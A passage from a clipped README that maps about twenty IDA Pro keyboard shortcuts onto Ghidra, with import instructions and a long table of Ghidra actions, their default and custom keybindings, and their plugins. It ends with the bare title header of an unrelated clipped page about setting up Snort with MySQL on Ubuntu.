1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='678' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Partial IDA Pro KeyBindings for Ghidra

I've been using Ghidra alongside IDA Pro and remembering different keybindings
for each was tiresome so I updated 20 of my most commonly used keys in IDA Pro
to be the same in Ghidra, with some suggestions from others.

Table included below for browsing.

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='52'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='682' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Install

In Ghidra's CodeBrowser, go to the menu Edit->Tool Options, then click
KeyBindings on the left. On the bottom right, click the button Import and
select the file ending in .kbxml in the repository. There's a button to
restore defaults at any time too.

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='53'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='685' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />Other
Available Ghidra KeyBindings

  * https://github.com/enovella/ida2ghidra-kb

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='54'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='689' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Custom KeyBindings

\!= | Action Name | Default KeyBinding | Custom KeyBinding | Plugin Name  
---|---|---|---|---  
| View Program Differences | 2 | 2 | ProgramDiffPlugin  
| Define string |  | A | Tool  
| Expand All | Alt-DOWN | Alt-DOWN | DataTypeManagerPlugin  
| Add To Program | Alt-I | Alt-I | ImporterPlugin  
| Add Bookmark | Meta-D | Alt-M | BookmarkPlugin  
| Create Default Reference | Alt-R | Alt-R | ReferencesPlugin  
| Next in History Buffer | Alt-RIGHT | Alt-RIGHT | NextPrevAddressPlugin  
| Collapse All | Alt-UP | Alt-UP | DataTypeManagerPlugin  
| Clear Function Return Type | C | C | FunctionPlugin  
| Clear Parameter Data Type | C | C | FunctionPlugin  
| Clear Variable Data Type | C | C | FunctionPlugin  
| Disassemble | D | C | DisassemblerPlugin  
| Edit Stack Frame |  | Ctrl-K | StackEditorManagerPlugin  
| Cycle: byte,word,dword,qword | B | D | Tool  
| Delete | DELETE | DELETE | DataTypePreviewPlugin  
| Delete | DELETE | DELETE | DataTypeManagerPlugin  
| Delete Archive | DELETE | DELETE | DataTypeManagerPlugin  
| Delete Bookmarks | DELETE | DELETE | BookmarkPlugin  
| Delete Comments | DELETE | DELETE | CommentsPlugin  
| Delete folder/fragment | DELETE | DELETE | ProgramTreePlugin  
| Delete Function | DELETE | DELETE | FunctionPlugin  
| Delete Function Variable | DELETE | DELETE | FunctionPlugin  
| Delete References From | DELETE | DELETE | ReferencesPlugin  
| Delete Register Value Range | DELETE | DELETE | RegisterPlugin  
| Delete Symbols | DELETE | DELETE | SymbolTablePlugin  
| Delete Symbols | DELETE | DELETE | SymbolTreePlugin  
| Remove Equate | DELETE | DELETE | EquatePlugin  
| Remove Items | DELETE | DELETE | Tool  
| Remove Label | DELETE | DELETE | LabelMgrPlugin  
| Remove Stack Depth Change | DELETE | DELETE | FunctionPlugin  
| Rename Equate | E | E | EquatePlugin  
| Set Equate | E | E | EquatePlugin  
| Previous in History Buffer | Alt-LEFT | ESCAPE | NextPrevAddressPlugin  
| Create External Function | F | F | FunctionPlugin  
| Create Function | F | F | FunctionPlugin  
| Cycle: float,double | F | F | Tool  
| Edit Function | F | F | FunctionPlugin  
| Disassemble Arm | F11 | F11 | DisassemblerPlugin  
| Disassemble MIPS | F11 | F11 | DisassemblerPlugin  
| Disassemble PPC | F11 | F11 | DisassemblerPlugin  
| Disassemble MIPS16/Micromips | F12 | F12 | DisassemblerPlugin  
| Disassemble PPC-VLE | F12 | F12 | DisassemblerPlugin  
| Disassemble Thumb | F12 | F12 | DisassemblerPlugin  
| Repeat Memory Search | F3 | F3 | MemSearchPlugin  
| Source Code Lookup | F3 | F3 | SourceCodeLookupPlugin  
| Display Decompiler | Meta-E | F5 | DecompilePlugin  
| Go To Address/Label | G | G | GoToAddressLabelPlugin  
| Show All History | H | H | LabelMgrPlugin  
| Show Label History | H | H | LabelMgrPlugin  
| Import File | I | I | ImporterPlugin  
| Edit External Location | L | L | LabelMgrPlugin  
| Add Default Memory Reference | M | M | ReferencesPlugin  
| Set Default Register Reference | M | M | ReferencesPlugin  
| Set Default Stack Reference | M | M | ReferencesPlugin  
| Next Highlighted Range | Meta-0 | Meta-0 | NextPrevHighlightRangePlugin  
| Previous Highlighted Range | Meta-9 | Meta-9 | NextPrevHighlightRangePlugin  
| Select All | Meta-A | Meta-A | CodeBrowserPlugin  
| Select All Code Units | Meta-A | Meta-A | FunctionGraphPlugin  
| Next Bookmark | Meta-Alt-B | Meta-Alt-B | NextPrevCodeUnitPlugin  
| Open/Close Program View | Meta-Alt-C | Meta-Alt-C | ProgramDiffPlugin  
| Next Data | Meta-Alt-D | Meta-Alt-D | NextPrevCodeUnitPlugin  
| Enable/Disable Byteviewer Editing | Meta-Alt-E | Meta-Alt-E | ByteViewerPlugin  
| Next Function | Meta-Alt-F | Meta-Alt-F | NextPrevCodeUnitPlugin  
| Extract and Import | Meta-Alt-I | Meta-Alt-I | ImporterPlugin  
| Next Instruction | Meta-Alt-I | Meta-Alt-I | NextPrevCodeUnitPlugin  
| Next Label | Meta-Alt-L | Meta-Alt-L | NextPrevCodeUnitPlugin  
| Set Operand Label | Meta-Alt-L | Meta-Alt-L | LabelMgrPlugin  
| Next Non-Function | Meta-Alt-N | Meta-Alt-N | NextPrevCodeUnitPlugin  
| Toggle Code Unit Search Direction | Meta-Alt-T | Meta-Alt-T | NextPrevCodeUnitPlugin  
| Next Undefined | Meta-Alt-U | Meta-Alt-U | NextPrevCodeUnitPlugin  
| Next Different Byte Value | Meta-Alt-V | Meta-Alt-V | NextPrevCodeUnitPlugin  
| Previous Selected Range | Meta-BRACELEFT | Meta-BRACELEFT | NextPrevSelectedRangePlugin  
| Next Selected Range | Meta-BRACERIGHT | Meta-BRACERIGHT | NextPrevSelectedRangePlugin  
| Copy | Meta-C | Meta-C | DataTypeManagerPlugin  
| Copy | Meta-C | Meta-C | ClipboardPlugin  
| Go to next function | Meta-DOWN | Meta-DOWN | CodeBrowserPlugin  
| Find | Meta-F | Meta-F | DecompilePlugin  
| Find Data Types | Meta-F | Meta-F | DataTypeManagerPlugin  
| Go To Last Active Program | Meta-F6 | Meta-F6 | MultiTabPlugin  
| Go To Program | Meta-F7 | Meta-F7 | MultiTabPlugin  
| Go To Previous Program | Meta-F8 | Meta-F8 | MultiTabPlugin  
| Go To Next Program | Meta-F9 | Meta-F9 | MultiTabPlugin  
| Go To start of folder/fragment in View | Meta-G | Meta-G | ProgramTreePlugin  
| Set Highlight From Selection | Meta-H | Meta-H | SetHighlightPlugin  
| Open File System | Meta-I | Meta-I | FileSystemBrowserPlugin  
| Retype Variable | Meta-L | Meta-L | DecompilePlugin  
| Show Bookmarks | Meta-B | Meta-M | BookmarkPlugin  
| Zoom Out | Meta-MINUS | Meta-MINUS | FunctionGraphPlugin  
| Open File | Meta-O | Meta-O | ProgramManagerPlugin  
| Print | Meta-P | Meta-P | PrintingPlugin  
| Forward Refs | Meta-PERIOD | Meta-PERIOD | SelectRefsPlugin  
| Replace View | Meta-R | Meta-R | ProgramTreePlugin  
| Set Register Values | Meta-R | Meta-R | RegisterPlugin  
| Save File | Meta-S | Meta-S | ProgramManagerPlugin  
| View Memory Map |  | Meta-S | MemoryMapPlugin  
| Back Refs | Meta-SEMICOLON | Meta-SEMICOLON | SelectRefsPlugin  
| Search Text | Meta-Shift-E | Meta-Shift-E | SearchTextPlugin  
| Zoom In | Meta-EQUALS | Meta-Shift-EQUALS | FunctionGraphPlugin  
| Compare Two Functions | Meta-Shift-F | Meta-Shift-F | FunctionComparisonPlugin  
| Repeat Text Search | Meta-Shift-F3 | Meta-Shift-F3 | SearchTextPlugin  
| Assemble | Meta-Shift-G | Meta-Shift-G | AssemblerPlugin  
| Rerun Last Script | Meta-Shift-R | Meta-Shift-R | Tool  
| ByteViewer Clone | Meta-Shift-T | Meta-Shift-T | ByteViewerPlugin  
| Code Viewer Clone | Meta-Shift-T | Meta-Shift-T | CodeBrowserPlugin  
| Decompile Clone | Meta-Shift-T | Meta-Shift-T | DecompilePlugin  
| Function Graph Clone | Meta-Shift-T | Meta-Shift-T | FunctionGraphPlugin  
| Redo | Meta-Shift-Z | Meta-Shift-Z | ProgramManagerPlugin  
| View Symbol Table | Meta-T | Meta-T | SymbolTablePlugin  
| Go to previous function | Meta-UP | Meta-UP | CodeBrowserPlugin  
| Paste | Meta-V | Meta-V | DataTypeManagerPlugin  
| Paste | Meta-V | Meta-V | ClipboardPlugin  
| Paste Symbols | Meta-V | Meta-V | SymbolTreePlugin  
| Cut | Meta-X | Meta-X | DataTypeManagerPlugin  
| Cut SymbolTree Node | Meta-X | Meta-X | SymbolTreePlugin  
| Remove folder/fragment from View | Meta-X | Meta-X | ProgramTreePlugin  
| Undo | Meta-Z | Meta-Z | ProgramManagerPlugin  
| Add Label | L | N | LabelMgrPlugin  
| Edit Label | L | N | LabelMgrPlugin  
| Rename Data Field | N | N | DataPlugin  
| Rename Function | L | N | FunctionPlugin  
| Rename Function | L | N | DecompilePlugin  
| Rename Function Variable | L | N | FunctionPlugin  
| Rename Variable | L | N | FunctionPlugin  
| Rename Variable | L | N | DecompilePlugin  
| Export Program | O | O | ExporterPlugin  
| Define Array | OPEN\_BRACKET | OPEN\_BRACKET | Tool  
| Commit Params/Return | P | P | DecompilePlugin  
| Define pointer | P | P | Tool  
| Add | PLUS | PLUS | DataTypePreviewPlugin  
| Cycle: char,string,unicode | QUOTE | QUOTE | Tool  
| View/Edit References From | R | R | ReferencesPlugin  
| Search Memory | S | S | MemSearchPlugin  
| Edit Comments | SEMICOLON | SEMICOLON | CommentsPlugin  
| Edit Variable Comment | SEMICOLON | SEMICOLON | FunctionPlugin  
| Auto Analyze | A | Shift-A | AutoAnalysisPlugin  
| Clear Cut | ESCAPE | Shift-ESCAPE | DataTypeManagerPlugin  
| Create Structure | Shift-OPEN\_BRACKET | Shift-OPEN\_BRACKET | DataPlugin  
| Recover Structure Variable | Shift-OPEN\_BRACKET | Shift-OPEN\_BRACKET | DecompilePlugin  
| Toggle Expand/Collapse Data | SPACE | SPACE | CodeBrowserPlugin  
| Choose Data Type | T | T | Tool  
| Clear Code Bytes | C | U | ClearPlugin  
| Define void | V | V | Tool  
| Display Register Values | V | V | RegisterPlugin  
| Find References To | Meta-Shift-F | X | Tool  
| Find References To |  | X | SymbolTreePlugin  
| Recently Used | Y | Y | Tool  
| About Ghidra |  | Tool  
| About program |  | AboutProgramPlugin  
| Add Block |  | MemoryMapPlugin  
| Add External Program Name |  | ReferencesPlugin  
| Add Reference From |  | ReferencesPlugin  
| Add Selection To Highlight |  | SetHighlightPlugin  
| Add to Version Control |  | DataTypeManagerPlugin  
| Aggressive Instruction Finder |  | AutoAnalysisPlugin  
| Align All Data Types |  | DataTypeManagerPlugin  
| Align Data Type |  | DataTypeManagerPlugin  
| Analysis Bookmarks |  | MarkerManagerPlugin  
| Analyze All Open |  | AutoAnalysisPlugin  
| Analyze Function Stack References |  | FunctionPlugin  
| Apply Enum |  | EquatePlugin  
| Apply Function Data Types |  | DataTypeManagerPlugin  
| ASCII Strings |  | AutoAnalysisPlugin  
| Auto Set Fallthroughs |  | FallThroughPlugin  
| Batch Import |  | ImporterPlugin  
| Block Focus Mode |  | FunctionGraphPlugin  
| Block Hover Mode |  | FunctionGraphPlugin  
| Byte Viewer |  | ByteViewerPlugin  
| Byte Viewer Options |  | ByteViewerPlugin  
| Call Convention Identification |  | AutoAnalysisPlugin  
| Call-Fixup Installer |  | AutoAnalysisPlugin  
| Capture Function Data Types |  | DataTypeManagerPlugin  
| Carry Checksum Values |  | ComputeChecksumsPlugin  
| Changes: Unsaved |  | MarkerManagerPlugin  
| CheckIn |  | DataTypeManagerPlugin  
| CheckIn |  | MyProgramChangesDisplayPlugin  
| CheckOut |  | DataTypeManagerPlugin  
| Clear All Colors |  | ColorizingPlugin  
| Clear Color |  | ColorizingPlugin  
| Clear Console |  | ConsolePlugin  
| Clear Current Selection |  | FunctionGraphPlugin  
| Clear External Name Association |  | ReferencesPlugin  
| Clear Fallthroughs |  | FallThroughPlugin  
| Clear Flow and Repair |  | ClearPlugin  
| Clear History Buffer |  | NextPrevAddressPlugin  
| Clear Interpreter |  | Python  
| Clear Pinned Symbol |  | SymbolTablePlugin  
| Clear Register Values |  | RegisterPlugin  
| Clear Selection |  | CodeBrowserPlugin  
| Clear Translation Value |  | TranslateStringsPlugin  
| Clear With Options |  | ClearPlugin  
| Close All |  | ProgramManagerPlugin  
| Close Archive |  | DataTypeManagerPlugin  
| Close File |  | ProgramManagerPlugin  
| Close Others |  | ProgramManagerPlugin  
| Close Tool |  | Tool  
| Close Tree View |  | ProgramTreePlugin  
| Collapse All Data |  | CodeBrowserPlugin  
| Collapse All folders/fragments |  | ProgramTreePlugin  
| Commit Locals |  | DecompilePlugin  
| Commit To Archive |  | DataTypeManagerPlugin  
| Compare Selected Functions |  | Tool  
| Compute Checksum |  | ComputeChecksumsPlugin  
| Configure Tool |  | Tool  
| Contents |  | Tool  
| Convert To Char |  | EquatePlugin  
| Convert To Double |  | EquatePlugin  
| Convert To Float |  | EquatePlugin  
| Convert To Signed Decimal |  | EquatePlugin  
| Convert To Signed Hex |  | EquatePlugin  
| Convert To Unsigned Binary |  | EquatePlugin  
| Convert To Unsigned Decimal |  | EquatePlugin  
| Convert To Unsigned Hex |  | EquatePlugin  
| Convert To Unsigned Octal |  | EquatePlugin  
| Copy folder/fragment |  | ProgramTreePlugin  
| Copy Special |  | ClipboardPlugin  
| Copy Special Again |  | ClipboardPlugin  
| Create Address Tables |  | AutoAnalysisPlugin  
| Create Class |  | SymbolTreePlugin  
| Create Complexity Depth Tree |  | ProgramTreeModularizationPlugin  
| Create Default Tree View |  | ProgramTreePlugin  
| Create Dominance Tree |  | ProgramTreeModularizationPlugin  
| Create External Location |  | SymbolTreePlugin  
| Create Folder |  | ProgramTreePlugin  
| Create Fragment |  | ProgramTreePlugin  
| Create Function Definition |  | FunctionPlugin  
| Create Labels From Enums |  | DataTypeManagerPlugin  
| Create Library |  | SymbolTreePlugin  
| Create Multiple Functions |  | FunctionPlugin  
| Create Namespace |  | SymbolTreePlugin  
| Create Offset References |  | OffsetTablePlugin  
| Create Pointer |  | DataTypeManagerPlugin  
| Create Table From Selection |  | CodeBrowserPlugin  
| Create Thunk Function |  | FunctionPlugin  
| Create Typedef |  | DataTypeManagerPlugin  
| Create Typedef From Dialog |  | DataTypeManagerPlugin  
| Cursor |  | MarkerManagerPlugin  
| Cut folder/fragment |  | ProgramTreePlugin  
| Data |  | QualifiedSelectionPlugin  
| Data References From |  | SymbolTablePlugin  
| Data Settings |  | DataPlugin  
| Data Type Conflict Resolution Mode |  | DataTypeManagerPlugin  
| Data Type Manager |  | DataTypeManagerPlugin  
| Debug Function Decompilation |  | DecompilePlugin  
| Decompiler Parameter ID |  | AutoAnalysisPlugin  
| Decompiler Switch Analysis |  | AutoAnalysisPlugin  
| DecompilerProperties |  | DecompilePlugin  
| Default Data Settings |  | DataPlugin  
| Define byte |  | Tool  
| Define char |  | Tool  
| Define double |  | Tool  
| Define dword |  | Tool  
| Define float |  | Tool  
| Define int |  | Tool  
| Define long |  | Tool  
| Define longdouble |  | Tool  
| Define qword |  | Tool  
| Define TerminatedCString |  | Tool  
| Define TerminatedUnicode |  | Tool  
| Define uint |  | Tool  
| Define ulong |  | Tool  
| Define undefined |  | Tool  
| Define word |  | Tool  
| Delete |  | GhidraScriptMgrPlugin  
| Delete Block |  | MemoryMapPlugin  
| Delete Equate |  | EquateTablePlugin  
| Delete External Program Name |  | ReferencesPlugin  
| Delete Register Value Ranges |  | Register Manager  
| Delete Tree View |  | ProgramTreePlugin  
| Disassemble Restricted |  | DisassemblerPlugin  
| Disassemble Static |  | DisassemblerPlugin  
| Disassociate From Archive |  | DataTypeManagerPlugin  
| Display Function Call Graph |  | FunctionCallGraphPlugin  
| Display Function Graph |  | FunctionGraphPlugin  
| Display Popup Windows |  | FunctionGraphPlugin  
| Display Satellite View |  | FunctionCallGraphPlugin  
| Display Satellite View |  | FunctionGraphPlugin  
| Display Script Manager |  | GhidraScriptMgrPlugin  
| Display Symbol Tree |  | SymbolTreePlugin  
| Dock Satellite View |  | FunctionCallGraphPlugin  
| Dock Satellite View |  | FunctionGraphPlugin  
| Download\_PDB\_File |  | PdbSymbolServerPlugin  
| DWARF Line Number |  | AutoAnalysisPlugin  
| Edit |  | DataTypeManagerPlugin  
| Edit |  | GhidraScriptMgrPlugin  
| Edit Archive Paths |  | DataTypeManagerPlugin  
| Edit Code Block Fields |  | FunctionGraphPlugin  
| Edit Data Type |  | DataPlugin  
| Edit External Location |  | SymbolTreePlugin  
| Edit External Location |  | SymbolTablePlugin  
| Edit Function Purge |  | FunctionPlugin  
| Edit Function Signature |  | DecompilePlugin  
| Edit Function Tags |  | FunctionTagPlugin  
| Edit Options |  | Tool  
| Edit Structure |  | FunctionPlugin  
| Edit Vertex Label |  | FunctionGraphPlugin  
| EditDataType |  | DecompilePlugin  
| EditEclipse |  | GhidraScriptMgrPlugin  
| Embedded Media |  | AutoAnalysisPlugin  
| Enum |  | DataTypeManagerPlugin  
| Enum from Selection |  | DataTypeManagerPlugin  
| Error Bookmarks |  | MarkerManagerPlugin  
| Exclude Operands |  | MnemonicSearchPlugin  
| Exit Ghidra |  | Tool  
| Expand All Data |  | CodeBrowserPlugin  
| Expand All folders/fragments |  | ProgramTreePlugin  
| Expand Block Down |  | MemoryMapPlugin  
| Expand Block Up |  | MemoryMapPlugin  
| Export |  | ExporterPlugin  
| Export Data Types |  | DataTypeManagerPlugin  
| Export to C |  | DecompilePlugin  
| Export Tool |  | Tool  
| Filter Arrays |  | DataTypeManagerPlugin  
| Filter Bookmarks |  | BookmarkPlugin  
| Filter Data Types |  | DataWindowPlugin  
| Filter Pointers |  | DataTypeManagerPlugin  
| Filter Registers |  | Register Manager  
| Find Data Types By Size |  | DataTypeManagerPlugin  
| Find Uses of Field |  | DataTypeManagerPlugin  
| Follow location changes |  | Register Manager  
| FSB Create Crypto Key Template |  | FileFormatsPlugin  
| FSB Decompile JAR |  | FileFormatsPlugin  
| FSB Export Eclipse Project |  | FileFormatsPlugin  
| FSB Load iOS Kernel |  | FileFormatsPlugin  
| Function Definition |  | DataTypeManagerPlugin  
| Function Graph Options |  | FunctionGraphPlugin  
| Function ID |  | AutoAnalysisPlugin  
| Function Start Search |  | AutoAnalysisPlugin  
| GenerateChecksum |  | ComputeChecksumsPlugin  
| Ghidra API Help |  | GhidraScriptMgrPlugin  
| Go To External Location |  | SymbolTreePlugin  
| Go To Function Entry Point |  | FunctionGraphPlugin  
| Graph Node Function Calls |  | FunctionCallGraphPlugin  
| Group Selected Vertices |  | FunctionGraphPlugin  
| Hide Incoming Edges |  | FunctionCallGraphPlugin  
| Hide Incoming Level Edges |  | FunctionCallGraphPlugin  
| Hide Outgoing Edges |  | FunctionCallGraphPlugin  
| Hide Outgoing Level Edges |  | FunctionCallGraphPlugin  
| Highlight |  | MarkerManagerPlugin  
| Highlight Backward Inst Slice |  | DecompilePlugin  
| Highlight Backward Slice |  | DecompilePlugin  
| Highlight Defined Use |  | DecompilePlugin  
| Highlight Forward Inst Slice |  | DecompilePlugin  
| Highlight Forward Slice |  | DecompilePlugin  
| Import C DataTypes |  | CParserPlugin  
| Include Data Members in Filter |  | DataTypeManagerPlugin  
| Include Operands |  | MnemonicSearchPlugin  
| Include Operands \(except constants\) |  | MnemonicSearchPlugin  
| Info Bookmarks |  | MarkerManagerPlugin  
| Installed Processors |  | ProgramListPlugin  
| Instruction References From |  | SymbolTablePlugin  
| Instructions |  | QualifiedSelectionPlugin  
| Jump to a XRef |  | FunctionGraphPlugin  
| Key Binding |  | GhidraScriptMgrPlugin  
| Load PDB File |  | PdbPlugin  
| Lock Archive |  | DataTypeManagerPlugin  
| Make Selection |  | SymbolTreePlugin  
| Make Selection |  | Tool  
| Make Selection From Focused Edges |  | FunctionGraphPlugin  
| Make Selection From Hovered Edges |  | FunctionGraphPlugin  
| Merge Blocks |  | MemoryMapPlugin  
| Merge folder/fragment with Parent |  | ProgramTreePlugin  
| Modify Instruction Flow |  | DisassemblerPlugin  
| Modularize By Subroutine \[Isolated Entry\] |  | ModuleAlgorithmPlugin  
| Modularize By Subroutine \[Multiple Entry\] |  | ModuleAlgorithmPlugin  
| Modularize By Subroutine \[Overlapped Code\] |  | ModuleAlgorithmPlugin  
| Modularize By Subroutine \[Partitioned Code\] |  | ModuleAlgorithmPlugin  
| Move Block |  | MemoryMapPlugin  
| Navigate on Incoming Location Changes |  | FunctionCallGraphPlugin  
| Navigation |  | ProgramTreePlugin  
| Navigation |  | SymbolTreePlugin  
| New |  | GhidraScriptMgrPlugin  
| New Category |  | DataTypeManagerPlugin  
| New File Data Type Archive |  | DataTypeManagerPlugin  
| New Project Data Type Archive |  | DataTypeManagerPlugin  
| Next Color Range |  | ColorizingPlugin  
| Next Data Type in History |  | DataTypeManagerPlugin  
| Non-Returning Functions - Discovered |  | AutoAnalysisPlugin  
| Note Bookmarks |  | MarkerManagerPlugin  
| On Selection |  | ComputeChecksumsPlugin  
| Ones Complement |  | ComputeChecksumsPlugin  
| Open File Data Type Archive |  | DataTypeManagerPlugin  
| Open Project Data Type Archive |  | DataTypeManagerPlugin  
| Open Tree View |  | ProgramTreePlugin  
| Override Signature |  | DecompilePlugin  
| Overview |  | OverviewColorPlugin  
| Page Setup |  | PrintingPlugin  
| Paste folder/fragment |  | ProgramTreePlugin  
| Pin Symbol |  | SymbolTablePlugin  
| Previous Color Range |  | ColorizingPlugin  
| Previous Data Type in History |  | DataTypeManagerPlugin  
| Processor Options |  | DisassemblerPlugin  
| Program Options |  | ProgramManagerPlugin  
| Re-create Function |  | FunctionPlugin  
| References To |  | SymbolTablePlugin  
| Refresh |  | DecompilePlugin  
| Refresh |  | GhidraScriptMgrPlugin  
| Refresh BuiltInTypes |  | DataTypeManagerPlugin  
| Relayout Graph |  | FunctionGraphPlugin  
| Remove From Group |  | FunctionGraphPlugin  
| Remove Highlight |  | SetHighlightPlugin  
| Remove Invalid Archive |  | DataTypeManagerPlugin  
| Remove Signature Override |  | DecompilePlugin  
| Rename |  | DataTypeManagerPlugin  
| Rename |  | GhidraScriptMgrPlugin  
| Rename folder/fragment |  | ProgramTreePlugin  
| Rename Fragment from Code Browser |  | AutoRenamePlugin  
| Rename Fragment from Program Tree View |  | AutoRenamePlugin  
| Rename Symbol |  | SymbolTreePlugin  
| Rename Tree View |  | ProgramTreePlugin  
| Reset Graph |  | FunctionGraphPlugin  
| Reset Graph |  | FunctionCallGraphPlugin  
| Restore Selection |  | RestoreSelectionPlugin  
| Revert Data Type |  | DataTypeManagerPlugin  
| Revert Thunk Function |  | FunctionPlugin  
| Run |  | GhidraScriptMgrPlugin  
| Save |  | DataTypeManagerPlugin  
| Save All Files |  | ProgramManagerPlugin  
| Save As File |  | ProgramManagerPlugin  
| Save Tool |  | Tool  
| Save Tool As |  | Tool  
| Script Directories |  | GhidraScriptMgrPlugin  
| Scroll Lock |  | ConsolePlugin  
| Search for Address Tables |  | AutoTableDisassemblerPlugin  
| Search for Direct References |  | FindPossibleReferencesPlugin  
| Search for Scalars |  | ScalarSearchPlugin  
| Search for Strings |  | StringTablePlugin  
| Search Instruction Patterns |  | InstructionSearchPlugin  
| select addresses |  | ProgramTreeSelectionPlugin  
| Select All Flows From |  | SelectByFlowPlugin  
| Select All Flows To |  | SelectByFlowPlugin  
| Select Bookmark Locations |  | BookmarkPlugin  
| Select Complement |  | CodeBrowserPlugin  
| Select Dead Subroutine |  | SelectByFlowPlugin  
| Select Forward Scoped Flow |  | SelectByScopedFlowPlugin  
| Select Function |  | SelectByFlowPlugin  
| Select Limited Flows From |  | SelectByFlowPlugin  
| Select Limited Flows To |  | SelectByFlowPlugin  
| Select Program Changes |  | SelectByFlowPlugin  
| Select Register Value Ranges |  | Register Manager  
| Select Reverse Scoped Flow |  | SelectByScopedFlowPlugin  
| Select Subroutine |  | SelectByFlowPlugin  
| SelectBlock |  | SelectBlockPlugin  
| Selection |  | MarkerManagerPlugin  
| Set Color |  | ColorizingPlugin  
| Set EOL Comment |  | CommentsPlugin  
| Set External Name Association |  | ReferencesPlugin  
| Set External Program |  | SymbolTreePlugin  
| Set Fallthrough |  | FallThroughPlugin  
| Set Favorite Data Type |  | DataTypeManagerPlugin  
| Set Filter |  | SymbolTablePlugin  
| Set Image Base |  | MemoryMapPlugin  
| Set Plate Comment |  | CommentsPlugin  
| Set Post Comment |  | CommentsPlugin  
| Set Pre Comment |  | CommentsPlugin  
| Set Repeatable Comment |  | CommentsPlugin  
| Set Selection From Highlight |  | SetHighlightPlugin  
| Set Stack Depth Change |  | FunctionPlugin  
| Set Thunked Function |  | FunctionPlugin  
| Shared Return Calls |  | AutoAnalysisPlugin  
| Show Base Data Type |  | DataTypeManagerPlugin  
| Show Comment History |  | CommentsPlugin  
| Show default register values |  | Register Manager  
| Show Function Call Trees |  | CallTreePlugin  
| Show Hex Values |  | ComputeChecksumsPlugin  
| Show History |  | DataTypeManagerPlugin  
| Show Incoming Edges |  | FunctionCallGraphPlugin  
| Show Incoming Level Edges |  | FunctionCallGraphPlugin  
| Show Instruction Info |  | ShowInstructionInfoPlugin  
| Show Outgoing Edges |  | FunctionCallGraphPlugin  
| Show Outgoing Level Edges |  | FunctionCallGraphPlugin  
| Show Preview Window |  | DataTypeManagerPlugin  
| Show Processor Manual |  | ShowInstructionInfoPlugin  
| Sort Fragments By Address |  | ModuleSortPlugin  
| Sort Fragments By Name |  | ModuleSortPlugin  
| Split Block |  | MemoryMapPlugin  
| Stack |  | AutoAnalysisPlugin  
| Structure |  | DataTypeManagerPlugin  
| Subtract Selection From Highlight |  | SetHighlightPlugin  
| Symbol References |  | SymbolTablePlugin  
| Toggle Header |  | CodeBrowserPlugin  
| Toggle Mouse Hover Popups |  | CodeBrowserPlugin  
| Toggle Show Translated Value |  | TranslateStringsPlugin  
| Translate with Manual |  | TranslateStringsPlugin  
| Twos Complement |  | ComputeChecksumsPlugin  
| Undefined |  | QualifiedSelectionPlugin  
| UndoCheckOut |  | DataTypeManagerPlugin  
| Ungroup All Vertices |  | FunctionGraphPlugin  
| Ungroup Selected Vertices |  | FunctionGraphPlugin  
| Union |  | DataTypeManagerPlugin  
| Unlock Archive |  | DataTypeManagerPlugin  
| Update |  | DataTypeManagerPlugin  
| Update |  | MyProgramChangesDisplayPlugin  
| Update From Archive |  | DataTypeManagerPlugin  
| User Agreement |  | Tool  
| Vertex View Mode |  | FunctionGraphPlugin  
| View Check Outs |  | DataTypeManagerPlugin  
| View Symbol References |  | SymbolTablePlugin  
| Warning Bookmarks |  | MarkerManagerPlugin  
| XOR Checksum Values |  | ComputeChecksumsPlugin  
| Zoom to Vertex |  | FunctionGraphPlugin  
| Zoom to Window |  | FunctionGraphPlugin  
|  |  |  | 

# Snort and Base \(Acidbase\) with MySQL on Ubuntu | otype.net
**Created:**| _5/27/2009 8:40:43 PM_  
---|---  
**Updated:**| _5/27/2009 8:41:06 PM_  
**Author:**| __  
**Tags:**| _security tools iDS/iPS_  
  

## Snort and Base \(Acidbase\) with MySQL on Ubuntu

